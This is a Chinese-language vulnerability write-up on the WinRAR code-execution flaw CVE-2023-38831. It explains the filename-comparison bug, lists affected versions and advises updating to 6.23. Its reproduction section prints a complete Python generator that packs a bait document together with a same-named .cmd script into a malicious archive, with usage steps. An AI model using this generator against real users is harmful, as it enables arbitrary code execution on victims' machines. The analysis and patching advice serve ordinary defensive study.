RARLAB WinRAR 代码执行漏洞RCE (CVE-2023-38831)

本文涉及的产品
注册配置 MSE Nacos/ZooKeeper,118元/月
应用实时监控服务-应用监控,每月50GB免费额度
应用实时监控服务-可观测链路OpenTelemetry版,每月50GB免费额度
简介: WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在 Windows环境下的图形界面。该软件可用于备份数据,缩减电子邮件附件的大小,解压缩从 Internet 上下载的RAR、ZIP及其它类型文件,并且可以新建 RAR 及 ZIP 格式等的压缩类文件。从5.60版开始,WinRAR启用了新的图标,但用户仍可以通过官网提供的主题包换回原版风格的图标。

声明


  请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述


  WinRAR是一款文件压缩器,该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。


RARLabs WinRAR 6.23之前版本存在安全漏洞,攻击者利用该漏洞可以执行任意代码。


二、影响版本


  • WinRAR < 6.23


三、漏洞分析


漏洞触发主要分成两个环节:

1、点击诱饵文件时同名文件夹下的文件被释放

2、执行文件时执行文件夹下的 .cmd文件而不是原文件


释放文件

用户点击文件后,winrar会遍历zip文件中的direntry,比较direntry->name 和点击文件名(click_name),比较函数(0047F790) 的第四个参数option为0x80000006,该函数会调用00496020,option作为第三个参数传入,00496020中会对 click_name 和 entry_name 进行字符串对比。

image.png

   由于传入的比较长度为 click_name 的长度,类似 "CLASSIFIED_DOCUMENTS.pdf " 和 "CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd " 的比较会匹配,所以当direntry中存在与点击文件同名文件夹时,比较函数会返回1表示匹配,后续该entry对应的文件会连同点击文件一起被释放。

image.png

  在修复版本623beta中,传入比较函数的option的值为0x80000002,该条件下比较函数会首先提取两个参数的目录名进行比较,则上面情况不再匹配。

image.png

image.png

  option的值新版本设置flag进行控制,在创建临时目录成功后设置flag,并在解析过程中使用。

image.png

image.png

image.png

文件执行

  以下面利用代码部分为例,在winrar展示窗口双击pdf文件后,winrar会使用函数ShellExecuteExW执行文件,这里传入的参数为:

"C:\Users\************\AppData\Local\Temp\Rar$DIa*****.*****\CLASSIFIED_DOCUMENTS.pdf "

image.png

由于上述bug的存在,临时文件夹下会释放以下两个文件:CLASSIFIED_DOCUMENTS.pdfCLASSIFIED_DOCUMENTS.pdf .cmd


这两个文件的末尾空格都在函数4A26B0中被去除

image.png

由于ShellExecuteExW参数最后有空格,它会执行第二个 .cmd文件,漏洞触发!!!

image.png

四、漏洞复现


本次复现环境如下


复现环境安装包:https://download.csdn.net/download/weixin_46944519/88326859

image.png

github脚本验证


项目地址: https://github.com/b1tg/CVE-2023-38831-winrar-exploit


利用代码如下(代码成分已标注)


import shutil

import os, sys

from os.path import join

TEMPLATE_NAME = "TEMPLATE"

OUTPUT_NAME = "CVE-2023-38831-poc.tar"

# 模板文件夹的名称

BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"

#诱饵文件

SCRIPT_NAME = "script.bat"

#脚本文件

if len(sys.argv) > 3:

   BAIT_NAME = os.path.basename(sys.argv[1])

   SCRIPT_NAME = os.path.basename(sys.argv[2])

   OUTPUT_NAME = os.path.basename(sys.argv[3])

elif len(sys.argv) == 2 and sys.argv[1] == "poc":

   pass

else:

   print("""Usage:

         python .\cve-2023-38831-exp-gen.py poc

         python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")

   sys.exit()

# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT

print("BAIT_NAME:", BAIT_NAME)

print("SCRIPT_NAME:", SCRIPT_NAME)

print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):

   shutil.rmtree(TEMPLATE_NAME)

os.mkdir(TEMPLATE_NAME)

d = join(TEMPLATE_NAME, BAIT_NAME + "A")

if not os.path.exists(d):

   os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))

shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):

#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))

#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:

   content = f.read()

   content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")

   content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

#改诱饵文件扩展名

os.remove(TEMPLATE_NAME + ".zip")

# 删除临时zip

with open(OUTPUT_NAME, "wb")  as f:

   f.write(content)

#写入文件

print("ok..")


生成POC的两种方式


python cve-2023-38831-exp-gen.py poc

or

python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar


使用方法:


1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)

2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序

image.png

执行命令生成exp.rar,将压缩包打开双击运行*****.pdf文件

最终执行Calc

image.png

五、修复建议


建议未及时进行更新的要尽快更新至最新版本 6.23,以免被恶意攻击。

目录
相关文章
|
Web App开发 移动开发 安全
Struts2 S2-062 (CVE-2021-31805) 远程代码执行漏洞
Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。
184 1
|
4月前
|
安全 关系型数据库 网络安全
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
Taogogo Taocms v3.0.2 远程代码执行(CVE-2022-25578)
|
6月前
|
SQL 监控 安全
记第一次eudsrc拿到RCE(上)
本文是一篇关于网络安全的漏洞分析报告,首先声明所有漏洞已修复,并警告读者不得用于非法活动。文章介绍了通过信息收集和复现研究,发现了一个CLI命令注入和RCE漏洞。这两个漏洞分别存在于登录页面的用户输入和后台接口中,允许攻击者执行恶意命令。作者提供了POC(Proof of Concept)代码,并展示了如何利用这些漏洞。最后,给出了修复建议,包括更新设备固件、加强访问控制、限制不必要的服务等,并强调了持续学习和关注安全公告的重要性。
|
6月前
|
安全 JavaScript 测试技术
记第一次eudsrc拿到RCE(下)
本文是关于网络安全的漏洞测试报告。作者强调所有漏洞已上报并修复,提醒读者不得用于非法目的。文章介绍了三种类型的漏洞:信息泄露、任意文件读取和远程命令执行(RCE)。通过前台CLI命令执行漏洞获取管理员密码后,发现了后台的任意文件读取和RCE漏洞。最后,提出了修复建议,包括限制文件访问、严格验证用户输入以及避免不安全的编程实践。鼓励持续学习和细心观察,以发现潜在的安全问题。
|
安全 测试技术
漏洞复现--CVE-2020-0796getshell
漏洞复现--CVE-2020-0796getshell
漏洞复现--CVE-2020-0796getshell
|
XML 安全 Oracle
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
156 0
|
安全 Shell 数据安全/隐私保护
CVE-2019-15107 Webmin RCE漏洞复现
环境搭建: 进入镜像目录
367 0
|
存储 开发框架 安全
CVE-2020-0688 exchange远程代码执行漏洞
CVE-2020-0688 exchange远程代码执行漏洞
175 0
|
JSON 供应链 安全
JsonWebToken远程代码执行漏洞(CVE-2022-23529)
JsonWebToken远程代码执行漏洞(CVE-2022-23529)
JsonWebToken远程代码执行漏洞(CVE-2022-23529)
|
安全 测试技术 PHP
CVE-2017-9841 phpunit 远程代码执行漏洞
CVE-2017-9841 phpunit 远程代码执行漏洞
2025 0
CVE-2017-9841 phpunit 远程代码执行漏洞
下一篇
无影云桌面